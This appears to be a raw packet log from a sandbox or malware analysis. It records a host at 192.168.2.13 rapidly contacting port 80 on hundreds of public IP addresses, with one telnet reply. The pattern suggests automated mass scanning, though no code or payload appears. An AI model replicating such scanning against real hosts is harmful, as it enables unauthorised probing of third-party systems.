Dec 3, 2024 21:47:21.253551960 CET	39419	80	192.168.2.13	156.79.212.131
Dec 3, 2024 21:47:21.253566027 CET	39419	80	192.168.2.13	125.105.82.198
Dec 3, 2024 21:47:21.253571987 CET	39419	80	192.168.2.13	142.27.227.216
Dec 3, 2024 21:47:21.253576994 CET	39419	80	192.168.2.13	136.173.144.4
Dec 3, 2024 21:47:21.253583908 CET	39419	80	192.168.2.13	69.25.176.109
Dec 3, 2024 21:47:21.253602028 CET	39419	80	192.168.2.13	188.177.148.102
Dec 3, 2024 21:47:21.253602982 CET	39419	80	192.168.2.13	58.127.91.92
Dec 3, 2024 21:47:21.253624916 CET	39419	80	192.168.2.13	54.143.191.230
Dec 3, 2024 21:47:21.253624916 CET	39419	80	192.168.2.13	179.133.214.15
Dec 3, 2024 21:47:21.253627062 CET	39419	80	192.168.2.13	142.173.168.247
Dec 3, 2024 21:47:21.253627062 CET	39419	80	192.168.2.13	172.192.58.90
Dec 3, 2024 21:47:21.253628969 CET	39419	80	192.168.2.13	196.42.198.88
Dec 3, 2024 21:47:21.253628969 CET	39419	80	192.168.2.13	152.93.105.253
Dec 3, 2024 21:47:21.253634930 CET	39419	80	192.168.2.13	202.204.63.255
Dec 3, 2024 21:47:21.253643990 CET	39419	80	192.168.2.13	23.249.79.16
Dec 3, 2024 21:47:21.253648043 CET	39419	80	192.168.2.13	42.218.251.215
Dec 3, 2024 21:47:21.253657103 CET	39419	80	192.168.2.13	143.218.137.240
Dec 3, 2024 21:47:21.253665924 CET	39419	80	192.168.2.13	104.39.232.54
Dec 3, 2024 21:47:21.253675938 CET	39419	80	192.168.2.13	38.117.132.31
Dec 3, 2024 21:47:21.253675938 CET	39419	80	192.168.2.13	101.15.137.11
Dec 3, 2024 21:47:21.253690958 CET	39419	80	192.168.2.13	116.213.185.248
Dec 3, 2024 21:47:21.253691912 CET	39419	80	192.168.2.13	38.68.147.170
Dec 3, 2024 21:47:21.253704071 CET	39419	80	192.168.2.13	219.227.202.79
Dec 3, 2024 21:47:21.253705978 CET	39419	80	192.168.2.13	75.134.167.130
Dec 3, 2024 21:47:21.253715992 CET	39419	80	192.168.2.13	37.95.78.164
Dec 3, 2024 21:47:21.253721952 CET	39419	80	192.168.2.13	63.27.243.177
Dec 3, 2024 21:47:21.253739119 CET	39419	80	192.168.2.13	77.235.28.3
Dec 3, 2024 21:47:21.253741026 CET	39419	80	192.168.2.13	136.117.34.39
Dec 3, 2024 21:47:21.253752947 CET	39419	80	192.168.2.13	49.48.30.22
Dec 3, 2024 21:47:21.253762960 CET	39419	80	192.168.2.13	183.43.127.241
Dec 3, 2024 21:47:21.253770113 CET	39419	80	192.168.2.13	131.68.243.3
Dec 3, 2024 21:47:21.253774881 CET	39419	80	192.168.2.13	32.112.176.226
Dec 3, 2024 21:47:21.253777027 CET	39419	80	192.168.2.13	58.60.54.196
Dec 3, 2024 21:47:21.253782988 CET	39419	80	192.168.2.13	209.102.34.153
Dec 3, 2024 21:47:21.253789902 CET	39419	80	192.168.2.13	161.56.130.116
Dec 3, 2024 21:47:21.253797054 CET	39419	80	192.168.2.13	106.57.195.151
Dec 3, 2024 21:47:21.253803968 CET	39419	80	192.168.2.13	20.239.218.243
Dec 3, 2024 21:47:21.253813982 CET	39419	80	192.168.2.13	172.250.245.142
Dec 3, 2024 21:47:21.253823042 CET	39419	80	192.168.2.13	168.237.139.248
Dec 3, 2024 21:47:21.253839016 CET	39419	80	192.168.2.13	42.121.184.69
Dec 3, 2024 21:47:21.253839016 CET	39419	80	192.168.2.13	90.121.155.86
Dec 3, 2024 21:47:21.253848076 CET	39419	80	192.168.2.13	8.102.3.122
Dec 3, 2024 21:47:21.253854036 CET	39419	80	192.168.2.13	128.47.70.215
Dec 3, 2024 21:47:21.253861904 CET	39419	80	192.168.2.13	140.250.70.103
Dec 3, 2024 21:47:21.253876925 CET	39419	80	192.168.2.13	104.215.202.17
Dec 3, 2024 21:47:21.253885031 CET	39419	80	192.168.2.13	50.18.216.32
Dec 3, 2024 21:47:21.253894091 CET	39419	80	192.168.2.13	103.193.60.49
Dec 3, 2024 21:47:21.253904104 CET	39419	80	192.168.2.13	223.137.142.113
Dec 3, 2024 21:47:21.253914118 CET	39419	80	192.168.2.13	119.95.7.42
Dec 3, 2024 21:47:21.253918886 CET	39419	80	192.168.2.13	161.163.6.48
Dec 3, 2024 21:47:21.253931046 CET	39419	80	192.168.2.13	180.242.61.238
Dec 3, 2024 21:47:21.253933907 CET	39419	80	192.168.2.13	152.130.146.162
Dec 3, 2024 21:47:21.253951073 CET	39419	80	192.168.2.13	189.137.51.101
Dec 3, 2024 21:47:21.253952980 CET	39419	80	192.168.2.13	152.111.58.175
Dec 3, 2024 21:47:21.253969908 CET	39419	80	192.168.2.13	164.107.94.209
Dec 3, 2024 21:47:21.253972054 CET	39419	80	192.168.2.13	174.57.43.97
Dec 3, 2024 21:47:21.253985882 CET	39419	80	192.168.2.13	87.247.182.214
Dec 3, 2024 21:47:21.253987074 CET	39419	80	192.168.2.13	73.97.42.153
Dec 3, 2024 21:47:21.253998995 CET	39419	80	192.168.2.13	216.230.242.94
Dec 3, 2024 21:47:21.254007101 CET	39419	80	192.168.2.13	130.253.190.97
Dec 3, 2024 21:47:21.254019022 CET	39419	80	192.168.2.13	198.31.242.174
Dec 3, 2024 21:47:21.254023075 CET	39419	80	192.168.2.13	181.87.121.15
Dec 3, 2024 21:47:21.254034996 CET	39419	80	192.168.2.13	32.234.29.160
Dec 3, 2024 21:47:21.254040956 CET	39419	80	192.168.2.13	178.80.12.232
Dec 3, 2024 21:47:21.254051924 CET	39419	80	192.168.2.13	205.175.16.71
Dec 3, 2024 21:47:21.254055023 CET	39419	80	192.168.2.13	135.55.42.139
Dec 3, 2024 21:47:21.254067898 CET	39419	80	192.168.2.13	176.255.69.217
Dec 3, 2024 21:47:21.254082918 CET	39419	80	192.168.2.13	68.78.156.73
Dec 3, 2024 21:47:21.254092932 CET	39419	80	192.168.2.13	24.60.44.251
Dec 3, 2024 21:47:21.254095078 CET	39419	80	192.168.2.13	2.200.198.27
Dec 3, 2024 21:47:21.254112005 CET	39419	80	192.168.2.13	59.103.250.165
Dec 3, 2024 21:47:21.254112959 CET	39419	80	192.168.2.13	60.220.215.74
Dec 3, 2024 21:47:21.254132986 CET	39419	80	192.168.2.13	100.206.242.203
Dec 3, 2024 21:47:21.254136086 CET	39419	80	192.168.2.13	128.36.240.80
Dec 3, 2024 21:47:21.254151106 CET	39419	80	192.168.2.13	155.244.74.159
Dec 3, 2024 21:47:21.254156113 CET	39419	80	192.168.2.13	90.154.224.66
Dec 3, 2024 21:47:21.254168987 CET	39419	80	192.168.2.13	135.23.165.68
Dec 3, 2024 21:47:21.254173040 CET	39419	80	192.168.2.13	73.24.40.252
Dec 3, 2024 21:47:21.254179955 CET	39419	80	192.168.2.13	19.181.61.25
Dec 3, 2024 21:47:21.254188061 CET	39419	80	192.168.2.13	49.146.146.110
Dec 3, 2024 21:47:21.254194021 CET	39419	80	192.168.2.13	79.226.92.227
Dec 3, 2024 21:47:21.254214048 CET	39419	80	192.168.2.13	210.0.1.234
Dec 3, 2024 21:47:21.254220963 CET	39419	80	192.168.2.13	217.218.79.19
Dec 3, 2024 21:47:21.254231930 CET	39419	80	192.168.2.13	72.91.93.33
Dec 3, 2024 21:47:21.254245043 CET	39419	80	192.168.2.13	89.98.166.189
Dec 3, 2024 21:47:21.254245043 CET	39419	80	192.168.2.13	20.47.150.85
Dec 3, 2024 21:47:21.254257917 CET	39419	80	192.168.2.13	152.104.80.123
Dec 3, 2024 21:47:21.254261971 CET	39419	80	192.168.2.13	68.240.150.37
Dec 3, 2024 21:47:21.254266024 CET	39419	80	192.168.2.13	12.21.253.114
Dec 3, 2024 21:47:21.254273891 CET	39419	80	192.168.2.13	91.255.93.175
Dec 3, 2024 21:47:21.254287004 CET	39419	80	192.168.2.13	78.231.155.214
Dec 3, 2024 21:47:21.254292965 CET	39419	80	192.168.2.13	128.113.251.117
Dec 3, 2024 21:47:21.254302025 CET	39419	80	192.168.2.13	69.70.149.173
Dec 3, 2024 21:47:21.254309893 CET	39419	80	192.168.2.13	222.254.160.65
Dec 3, 2024 21:47:21.254317045 CET	39419	80	192.168.2.13	98.182.133.39
Dec 3, 2024 21:47:21.254331112 CET	39419	80	192.168.2.13	126.101.240.53
Dec 3, 2024 21:47:21.254334927 CET	39419	80	192.168.2.13	187.52.117.120
Dec 3, 2024 21:47:21.254343987 CET	39419	80	192.168.2.13	96.169.20.188
Dec 3, 2024 21:47:21.254359007 CET	39419	80	192.168.2.13	88.255.53.144
Dec 3, 2024 21:47:21.254359961 CET	39419	80	192.168.2.13	187.19.184.151
Dec 3, 2024 21:47:21.254367113 CET	39419	80	192.168.2.13	113.212.52.1
Dec 3, 2024 21:47:21.254371881 CET	39419	80	192.168.2.13	107.182.255.71
Dec 3, 2024 21:47:21.254386902 CET	39419	80	192.168.2.13	194.191.45.133
Dec 3, 2024 21:47:21.254395008 CET	39419	80	192.168.2.13	18.77.82.223
Dec 3, 2024 21:47:21.254404068 CET	39419	80	192.168.2.13	145.216.136.246
Dec 3, 2024 21:47:21.254406929 CET	39419	80	192.168.2.13	75.138.172.92
Dec 3, 2024 21:47:21.254414082 CET	39419	80	192.168.2.13	54.251.89.111
Dec 3, 2024 21:47:21.254434109 CET	39419	80	192.168.2.13	202.255.243.157
Dec 3, 2024 21:47:21.254434109 CET	39419	80	192.168.2.13	70.139.102.205
Dec 3, 2024 21:47:21.254446030 CET	39419	80	192.168.2.13	140.62.216.98
Dec 3, 2024 21:47:21.254450083 CET	39419	80	192.168.2.13	217.77.104.196
Dec 3, 2024 21:47:21.254458904 CET	39419	80	192.168.2.13	116.125.70.107
Dec 3, 2024 21:47:21.254467010 CET	39419	80	192.168.2.13	141.133.74.74
Dec 3, 2024 21:47:21.254470110 CET	39419	80	192.168.2.13	134.83.224.146
Dec 3, 2024 21:47:21.254492998 CET	39419	80	192.168.2.13	4.3.171.253
Dec 3, 2024 21:47:21.254496098 CET	39419	80	192.168.2.13	83.197.250.183
Dec 3, 2024 21:47:21.254503965 CET	39419	80	192.168.2.13	43.48.142.89
Dec 3, 2024 21:47:21.254513979 CET	39419	80	192.168.2.13	194.46.6.83
Dec 3, 2024 21:47:21.254517078 CET	39419	80	192.168.2.13	120.74.71.180
Dec 3, 2024 21:47:21.254523993 CET	39419	80	192.168.2.13	14.25.190.81
Dec 3, 2024 21:47:21.254527092 CET	39419	80	192.168.2.13	69.12.194.172
Dec 3, 2024 21:47:21.254534960 CET	39419	80	192.168.2.13	70.96.99.53
Dec 3, 2024 21:47:21.254539013 CET	39419	80	192.168.2.13	143.165.56.197
Dec 3, 2024 21:47:21.254555941 CET	39419	80	192.168.2.13	218.221.156.195
Dec 3, 2024 21:47:21.254558086 CET	39419	80	192.168.2.13	32.2.153.117
Dec 3, 2024 21:47:21.254564047 CET	39419	80	192.168.2.13	86.134.192.171
Dec 3, 2024 21:47:21.254573107 CET	39419	80	192.168.2.13	58.161.53.239
Dec 3, 2024 21:47:21.254575014 CET	39419	80	192.168.2.13	35.102.31.99
Dec 3, 2024 21:47:21.254592896 CET	39419	80	192.168.2.13	186.202.56.114
Dec 3, 2024 21:47:21.254595041 CET	39419	80	192.168.2.13	46.248.134.55
Dec 3, 2024 21:47:21.254604101 CET	39419	80	192.168.2.13	211.41.186.197
Dec 3, 2024 21:47:21.254611015 CET	39419	80	192.168.2.13	222.17.173.169
Dec 3, 2024 21:47:21.254621983 CET	39419	80	192.168.2.13	86.54.38.194
Dec 3, 2024 21:47:21.254625082 CET	39419	80	192.168.2.13	38.184.139.252
Dec 3, 2024 21:47:21.254631996 CET	39419	80	192.168.2.13	190.54.128.234
Dec 3, 2024 21:47:21.254645109 CET	39419	80	192.168.2.13	167.163.153.61
Dec 3, 2024 21:47:21.254651070 CET	39419	80	192.168.2.13	37.62.186.246
Dec 3, 2024 21:47:21.254663944 CET	39419	80	192.168.2.13	200.131.99.21
Dec 3, 2024 21:47:21.254664898 CET	39419	80	192.168.2.13	41.140.39.9
Dec 3, 2024 21:47:21.254676104 CET	39419	80	192.168.2.13	196.75.71.69
Dec 3, 2024 21:47:21.254693985 CET	39419	80	192.168.2.13	107.140.110.214
Dec 3, 2024 21:47:21.254693985 CET	39419	80	192.168.2.13	135.79.194.172
Dec 3, 2024 21:47:21.254705906 CET	39419	80	192.168.2.13	190.151.134.167
Dec 3, 2024 21:47:21.254714012 CET	39419	80	192.168.2.13	51.199.64.247
Dec 3, 2024 21:47:21.254724979 CET	39419	80	192.168.2.13	194.160.251.43
Dec 3, 2024 21:47:21.254731894 CET	39419	80	192.168.2.13	60.175.69.147
Dec 3, 2024 21:47:21.254735947 CET	39419	80	192.168.2.13	217.142.98.66
Dec 3, 2024 21:47:21.254749060 CET	39419	80	192.168.2.13	179.212.11.242
Dec 3, 2024 21:47:21.254753113 CET	39419	80	192.168.2.13	168.188.115.94
Dec 3, 2024 21:47:21.254759073 CET	39419	80	192.168.2.13	31.131.139.243
Dec 3, 2024 21:47:21.254770994 CET	39419	80	192.168.2.13	60.161.100.93
Dec 3, 2024 21:47:21.254784107 CET	39419	80	192.168.2.13	187.166.188.32
Dec 3, 2024 21:47:21.254786968 CET	39419	80	192.168.2.13	62.38.162.42
Dec 3, 2024 21:47:21.254800081 CET	39419	80	192.168.2.13	202.223.41.251
Dec 3, 2024 21:47:21.254800081 CET	39419	80	192.168.2.13	103.184.146.99
Dec 3, 2024 21:47:21.254822016 CET	39419	80	192.168.2.13	193.64.203.65
Dec 3, 2024 21:47:21.254831076 CET	39419	80	192.168.2.13	35.238.203.89
Dec 3, 2024 21:47:21.254832983 CET	39419	80	192.168.2.13	174.159.222.19
Dec 3, 2024 21:47:21.254841089 CET	39419	80	192.168.2.13	145.116.8.147
Dec 3, 2024 21:47:21.254841089 CET	39419	80	192.168.2.13	132.175.70.199
Dec 3, 2024 21:47:21.254848003 CET	39419	80	192.168.2.13	150.157.219.81
Dec 3, 2024 21:47:21.254864931 CET	39419	80	192.168.2.13	184.82.78.145
Dec 3, 2024 21:47:21.254864931 CET	39419	80	192.168.2.13	184.28.226.207
Dec 3, 2024 21:47:21.254880905 CET	39419	80	192.168.2.13	102.244.24.87
Dec 3, 2024 21:47:21.254882097 CET	39419	80	192.168.2.13	213.102.65.146
Dec 3, 2024 21:47:21.254889965 CET	39419	80	192.168.2.13	194.102.5.187
Dec 3, 2024 21:47:21.254898071 CET	39419	80	192.168.2.13	153.248.209.150
Dec 3, 2024 21:47:21.254909992 CET	39419	80	192.168.2.13	52.130.91.73
Dec 3, 2024 21:47:21.254911900 CET	39419	80	192.168.2.13	156.223.64.130
Dec 3, 2024 21:47:21.254926920 CET	39419	80	192.168.2.13	183.131.103.244
Dec 3, 2024 21:47:21.254936934 CET	39419	80	192.168.2.13	82.110.37.250
Dec 3, 2024 21:47:21.254944086 CET	39419	80	192.168.2.13	168.196.129.214
Dec 3, 2024 21:47:21.254960060 CET	39419	80	192.168.2.13	70.9.36.143
Dec 3, 2024 21:47:21.254962921 CET	39419	80	192.168.2.13	78.171.222.213
Dec 3, 2024 21:47:21.254975080 CET	39419	80	192.168.2.13	34.85.175.49
Dec 3, 2024 21:47:21.254981995 CET	39419	80	192.168.2.13	102.199.230.8
Dec 3, 2024 21:47:21.254992962 CET	39419	80	192.168.2.13	193.234.167.173
Dec 3, 2024 21:47:21.255000114 CET	39419	80	192.168.2.13	124.47.213.175
Dec 3, 2024 21:47:21.255009890 CET	39419	80	192.168.2.13	123.208.237.175
Dec 3, 2024 21:47:21.255012989 CET	39419	80	192.168.2.13	27.180.242.141
Dec 3, 2024 21:47:21.255032063 CET	39419	80	192.168.2.13	58.12.134.226
Dec 3, 2024 21:47:21.255032063 CET	39419	80	192.168.2.13	42.42.41.196
Dec 3, 2024 21:47:21.255039930 CET	39419	80	192.168.2.13	197.21.191.141
Dec 3, 2024 21:47:21.255045891 CET	39419	80	192.168.2.13	63.230.56.246
Dec 3, 2024 21:47:21.255062103 CET	39419	80	192.168.2.13	107.234.231.197
Dec 3, 2024 21:47:21.255063057 CET	39419	80	192.168.2.13	137.92.90.64
Dec 3, 2024 21:47:21.255069971 CET	39419	80	192.168.2.13	58.190.98.90
Dec 3, 2024 21:47:21.255073071 CET	39419	80	192.168.2.13	123.176.181.195
Dec 3, 2024 21:47:21.255085945 CET	39419	80	192.168.2.13	181.44.97.208
Dec 3, 2024 21:47:21.255088091 CET	39419	80	192.168.2.13	221.120.36.99
Dec 3, 2024 21:47:21.255100965 CET	39419	80	192.168.2.13	103.249.117.186
Dec 3, 2024 21:47:21.255105019 CET	39419	80	192.168.2.13	31.203.94.229
Dec 3, 2024 21:47:21.255108118 CET	39419	80	192.168.2.13	153.153.131.218
Dec 3, 2024 21:47:21.255115032 CET	39419	80	192.168.2.13	163.44.228.143
Dec 3, 2024 21:47:21.255124092 CET	39419	80	192.168.2.13	149.218.51.193
Dec 3, 2024 21:47:21.255136013 CET	39419	80	192.168.2.13	76.74.231.170
Dec 3, 2024 21:47:21.255136013 CET	39419	80	192.168.2.13	157.186.50.23
Dec 3, 2024 21:47:21.255147934 CET	39419	80	192.168.2.13	157.67.152.63
Dec 3, 2024 21:47:21.255148888 CET	39419	80	192.168.2.13	183.140.255.182
Dec 3, 2024 21:47:21.255160093 CET	39419	80	192.168.2.13	129.214.220.131
Dec 3, 2024 21:47:21.255167007 CET	39419	80	192.168.2.13	134.129.4.36
Dec 3, 2024 21:47:21.255177975 CET	39419	80	192.168.2.13	112.223.67.223
Dec 3, 2024 21:47:21.255183935 CET	39419	80	192.168.2.13	37.92.11.22
Dec 3, 2024 21:47:21.255192041 CET	39419	80	192.168.2.13	14.226.244.68
Dec 3, 2024 21:47:21.255194902 CET	39419	80	192.168.2.13	125.136.109.74
Dec 3, 2024 21:47:21.255213022 CET	39419	80	192.168.2.13	129.171.116.116
Dec 3, 2024 21:47:21.255213976 CET	39419	80	192.168.2.13	19.44.94.12
Dec 3, 2024 21:47:21.255232096 CET	39419	80	192.168.2.13	181.253.162.212
Dec 3, 2024 21:47:21.255232096 CET	39419	80	192.168.2.13	47.79.148.176
Dec 3, 2024 21:47:21.255240917 CET	39419	80	192.168.2.13	163.50.44.173
Dec 3, 2024 21:47:21.255259991 CET	39419	80	192.168.2.13	66.147.128.239
Dec 3, 2024 21:47:21.255261898 CET	39419	80	192.168.2.13	61.28.22.76
Dec 3, 2024 21:47:21.255271912 CET	39419	80	192.168.2.13	108.25.29.3
Dec 3, 2024 21:47:21.255284071 CET	39419	80	192.168.2.13	223.237.183.99
Dec 3, 2024 21:47:21.255299091 CET	39419	80	192.168.2.13	45.42.41.160
Dec 3, 2024 21:47:21.255300045 CET	39419	80	192.168.2.13	94.74.249.199
Dec 3, 2024 21:47:21.255321026 CET	39419	80	192.168.2.13	27.128.70.166
Dec 3, 2024 21:47:21.255323887 CET	39419	80	192.168.2.13	49.116.20.105
Dec 3, 2024 21:47:21.255325079 CET	39419	80	192.168.2.13	52.235.139.9
Dec 3, 2024 21:47:21.255331039 CET	39419	80	192.168.2.13	196.240.100.59
Dec 3, 2024 21:47:21.255331993 CET	39419	80	192.168.2.13	128.39.171.84
Dec 3, 2024 21:47:21.255342960 CET	39419	80	192.168.2.13	177.98.167.227
Dec 3, 2024 21:47:21.255356073 CET	39419	80	192.168.2.13	68.111.181.121
Dec 3, 2024 21:47:21.255358934 CET	39419	80	192.168.2.13	97.182.172.35
Dec 3, 2024 21:47:21.255358934 CET	39419	80	192.168.2.13	60.35.142.158
Dec 3, 2024 21:47:21.255377054 CET	39419	80	192.168.2.13	178.231.145.128
Dec 3, 2024 21:47:21.255377054 CET	39419	80	192.168.2.13	80.229.228.53
Dec 3, 2024 21:47:21.255378008 CET	39419	80	192.168.2.13	72.237.254.190
Dec 3, 2024 21:47:21.255383968 CET	39419	80	192.168.2.13	54.65.71.24
Dec 3, 2024 21:47:21.255403042 CET	39419	80	192.168.2.13	126.178.17.9
Dec 3, 2024 21:47:21.255403042 CET	39419	80	192.168.2.13	147.58.155.94
Dec 3, 2024 21:47:21.255403042 CET	39419	80	192.168.2.13	122.98.242.169
Dec 3, 2024 21:47:21.255470037 CET	55008	80	192.168.2.13	132.216.212.60
Dec 3, 2024 21:47:21.255481958 CET	55008	80	192.168.2.13	132.216.212.60
Dec 3, 2024 21:47:21.255877972 CET	55366	80	192.168.2.13	132.216.212.60
Dec 3, 2024 21:47:21.256251097 CET	60340	80	192.168.2.13	170.41.22.77
Dec 3, 2024 21:47:21.256278038 CET	60340	80	192.168.2.13	170.41.22.77
Dec 3, 2024 21:47:21.256555080 CET	60670	80	192.168.2.13	170.41.22.77
Dec 3, 2024 21:47:21.256947994 CET	39072	80	192.168.2.13	104.7.94.67
Dec 3, 2024 21:47:21.256947994 CET	39072	80	192.168.2.13	104.7.94.67
Dec 3, 2024 21:47:21.257263899 CET	39378	80	192.168.2.13	104.7.94.67
Dec 3, 2024 21:47:21.257635117 CET	48836	80	192.168.2.13	158.83.114.212
Dec 3, 2024 21:47:21.257653952 CET	48836	80	192.168.2.13	158.83.114.212
Dec 3, 2024 21:47:21.257934093 CET	49102	80	192.168.2.13	158.83.114.212
Dec 3, 2024 21:47:21.258284092 CET	54690	80	192.168.2.13	192.43.101.232
Dec 3, 2024 21:47:21.258301020 CET	54690	80	192.168.2.13	192.43.101.232
Dec 3, 2024 21:47:21.258591890 CET	54950	80	192.168.2.13	192.43.101.232
Dec 3, 2024 21:47:21.258971930 CET	42902	80	192.168.2.13	2.241.114.145
Dec 3, 2024 21:47:21.258971930 CET	42902	80	192.168.2.13	2.241.114.145
Dec 3, 2024 21:47:21.259290934 CET	43156	80	192.168.2.13	2.241.114.145
Dec 3, 2024 21:47:21.259674072 CET	52708	80	192.168.2.13	204.38.189.144
Dec 3, 2024 21:47:21.259689093 CET	52708	80	192.168.2.13	204.38.189.144
Dec 3, 2024 21:47:21.260010958 CET	52936	80	192.168.2.13	204.38.189.144
Dec 3, 2024 21:47:21.286130905 CET	23	37066	217.32.184.17	192.168.2.13
Dec 3, 2024 21:47:21.302198887 CET	80	49302	76.92.114.113	192.168.2.13
Dec 3, 2024 21:47:21.302227020 CET	80	46564	90.16.15.253	192.168.2.13
Dec 3, 2024 21:47:21.302249908 CET	80	54840	189.42.102.231	192.168.2.13
Dec 3, 2024 21:47:21.302272081 CET	46564	80	192.168.2.13	90.16.15.253
Dec 3, 2024 21:47:21.302277088 CET	49302	80	192.168.2.13	76.92.114.113
Dec 3, 2024 21:47:21.302309990 CET	54840	80	192.168.2.13	189.42.102.231
Dec 3, 2024 21:47:21.302400112 CET	49302	80	192.168.2.13	76.92.114.113
Dec 3, 2024 21:47:21.302412033 CET	49302	80	192.168.2.13	76.92.114.113
Dec 3, 2024 21:47:21.302856922 CET	49504	80	192.168.2.13	76.92.114.113
Dec 3, 2024 21:47:21.303225040 CET	46564	80	192.168.2.13	90.16.15.253
Dec 3, 2024 21:47:21.303240061 CET	46564	80	192.168.2.13	90.16.15.253
Dec 3, 2024 21:47:21.303524971 CET	46766	80	192.168.2.13	90.16.15.253
Dec 3, 2024 21:47:21.303872108 CET	54840	80	192.168.2.13	189.42.102.231
Dec 3, 2024 21:47:21.303872108 CET	54840	80	192.168.2.13	189.42.102.231
Dec 3, 2024 21:47:21.304135084 CET	80	52532	98.139.210.210	192.168.2.13
Dec 3, 2024 21:47:21.304157972 CET	55042	80	192.168.2.13	189.42.102.231
Dec 3, 2024 21:47:21.304167032 CET	80	59820	1.37.160.118	192.168.2.13
Dec 3, 2024 21:47:21.304174900 CET	52532	80	192.168.2.13	98.139.210.210
Dec 3, 2024 21:47:21.304209948 CET	59820	80	192.168.2.13	1.37.160.118
Dec 3, 2024 21:47:21.304656029 CET	52532	80	192.168.2.13	98.139.210.210
Dec 3, 2024 21:47:21.304666042 CET	52532	80	192.168.2.13	98.139.210.210
Dec 3, 2024 21:47:21.304948092 CET	52734	80	192.168.2.13	98.139.210.210
Dec 3, 2024 21:47:21.305308104 CET	59820	80	192.168.2.13	1.37.160.118
Dec 3, 2024 21:47:21.305331945 CET	59820	80	192.168.2.13	1.37.160.118
Dec 3, 2024 21:47:21.305598974 CET	60022	80	192.168.2.13	1.37.160.118
Dec 3, 2024 21:47:21.305742025 CET	80	45144	71.32.188.209	192.168.2.13
Dec 3, 2024 21:47:21.305783033 CET	45144	80	192.168.2.13	71.32.188.209
Dec 3, 2024 21:47:21.306077957 CET	45144	80	192.168.2.13	71.32.188.209
Dec 3, 2024 21:47:21.306088924 CET	45144	80	192.168.2.13	71.32.188.209
Dec 3, 2024 21:47:21.306376934 CET	45338	80	192.168.2.13	71.32.188.209
Dec 3, 2024 21:47:21.317398071 CET	80	42306	145.167.157.176	192.168.2.13
Dec 3, 2024 21:47:21.317457914 CET	42306	80	192.168.2.13	145.167.157.176
Dec 3, 2024 21:47:21.317545891 CET	42306	80	192.168.2.13	145.167.157.176
Dec 3, 2024 21:47:21.317563057 CET	42306	80	192.168.2.13	145.167.157.176
Dec 3, 2024 21:47:21.317899942 CET	42466	80	192.168.2.13	145.167.157.176
Dec 3, 2024 21:47:21.336651087 CET	80	33942	216.31.9.173	192.168.2.13
Dec 3, 2024 21:47:21.336812973 CET	33942	80	192.168.2.13	216.31.9.173
Dec 3, 2024 21:47:21.336812973 CET	33942	80	192.168.2.13	216.31.9.173
Dec 3, 2024 21:47:21.336829901 CET	33942	80	192.168.2.13	216.31.9.173
Dec 3, 2024 21:47:21.337151051 CET	34094	80	192.168.2.13	216.31.9.173
Dec 3, 2024 21:47:21.339466095 CET	80	33110	195.237.101.170	192.168.2.13
Dec 3, 2024 21:47:21.339514971 CET	33110	80	192.168.2.13	195.237.101.170
Dec 3, 2024 21:47:21.339600086 CET	33110	80	192.168.2.13	195.237.101.170
Dec 3, 2024 21:47:21.339611053 CET	33110	80	192.168.2.13	195.237.101.170
Dec 3, 2024 21:47:21.339912891 CET	33256	80	192.168.2.13	195.237.101.170
Dec 3, 2024 21:47:21.346162081 CET	80	49630	178.191.122.247	192.168.2.13
Dec 3, 2024 21:47:21.346220016 CET	49630	80	192.168.2.13	178.191.122.247
Dec 3, 2024 21:47:21.346302032 CET	49630	80	192.168.2.13	178.191.122.247
Dec 3, 2024 21:47:21.346314907 CET	49630	80	192.168.2.13	178.191.122.247
Dec 3, 2024 21:47:21.346623898 CET	49752	80	192.168.2.13	178.191.122.247
Dec 3, 2024 21:47:21.359153032 CET	80	36698	20.48.106.239	192.168.2.13
Dec 3, 2024 21:47:21.359230995 CET	36698	80	192.168.2.13	20.48.106.239
Dec 3, 2024 21:47:21.359323025 CET	36698	80	192.168.2.13	20.48.106.239
Dec 3, 2024 21:47:21.359323025 CET	36698	80	192.168.2.13	20.48.106.239
Dec 3, 2024 21:47:21.359667063 CET	36784	80	192.168.2.13	20.48.106.239
Dec 3, 2024 21:47:21.365756035 CET	80	53646	39.25.202.96	192.168.2.13
Dec 3, 2024 21:47:21.365849972 CET	53646	80	192.168.2.13	39.25.202.96
Dec 3, 2024 21:47:21.365937948 CET	53646	80	192.168.2.13	39.25.202.96
Dec 3, 2024 21:47:21.365950108 CET	53646	80	192.168.2.13	39.25.202.96
Dec 3, 2024 21:47:21.366261005 CET	53708	80	192.168.2.13	39.25.202.96
Dec 3, 2024 21:47:21.373560905 CET	80	60014	186.84.218.11	192.168.2.13
Dec 3, 2024 21:47:21.377299070 CET	80	39419	49.116.20.105	192.168.2.13
Dec 3, 2024 21:47:21.377322912 CET	80	55008	132.216.212.60	192.168.2.13
Dec 3, 2024 21:47:21.377338886 CET	80	60340	170.41.22.77	192.168.2.13
Dec 3, 2024 21:47:21.377356052 CET	80	39072	104.7.94.67	192.168.2.13
Dec 3, 2024 21:47:21.377382040 CET	39419	80	192.168.2.13	49.116.20.105
Dec 3, 2024 21:47:21.377577066 CET	80	48836	158.83.114.212	192.168.2.13
Dec 3, 2024 21:47:21.378191948 CET	80	54690	192.43.101.232	192.168.2.13
Dec 3, 2024 21:47:21.378899097 CET	80	42902	2.241.114.145	192.168.2.13
Dec 3, 2024 21:47:21.379616022 CET	80	52708	204.38.189.144	192.168.2.13
Dec 3, 2024 21:47:21.420196056 CET	80	60014	186.84.218.11	192.168.2.13
Dec 3, 2024 21:47:21.420233965 CET	80	54690	192.43.101.232	192.168.2.13
Dec 3, 2024 21:47:21.420248985 CET	80	48836	158.83.114.212	192.168.2.13
Dec 3, 2024 21:47:21.420258045 CET	80	39072	104.7.94.67	192.168.2.13
Dec 3, 2024 21:47:21.420295954 CET	80	60340	170.41.22.77	192.168.2.13
Dec 3, 2024 21:47:21.420308113 CET	80	55008	132.216.212.60	192.168.2.13
Dec 3, 2024 21:47:21.423896074 CET	80	49302	76.92.114.113	192.168.2.13
Dec 3, 2024 21:47:21.423998117 CET	80	52708	204.38.189.144	192.168.2.13
Dec 3, 2024 21:47:21.424011946 CET	80	42902	2.241.114.145	192.168.2.13
Dec 3, 2024 21:47:21.424300909 CET	80	49504	76.92.114.113	192.168.2.13
Dec 3, 2024 21:47:21.424384117 CET	49504	80	192.168.2.13	76.92.114.113
Dec 3, 2024 21:47:21.424468040 CET	49504	80	192.168.2.13	76.92.114.113
Dec 3, 2024 21:47:21.424628019 CET	80	46564	90.16.15.253	192.168.2.13
Dec 3, 2024 21:47:21.424952030 CET	80	46766	90.16.15.253	192.168.2.13
Dec 3, 2024 21:47:21.425004959 CET	46766	80	192.168.2.13	90.16.15.253
Dec 3, 2024 21:47:21.425071001 CET	49960	80	192.168.2.13	49.116.20.105
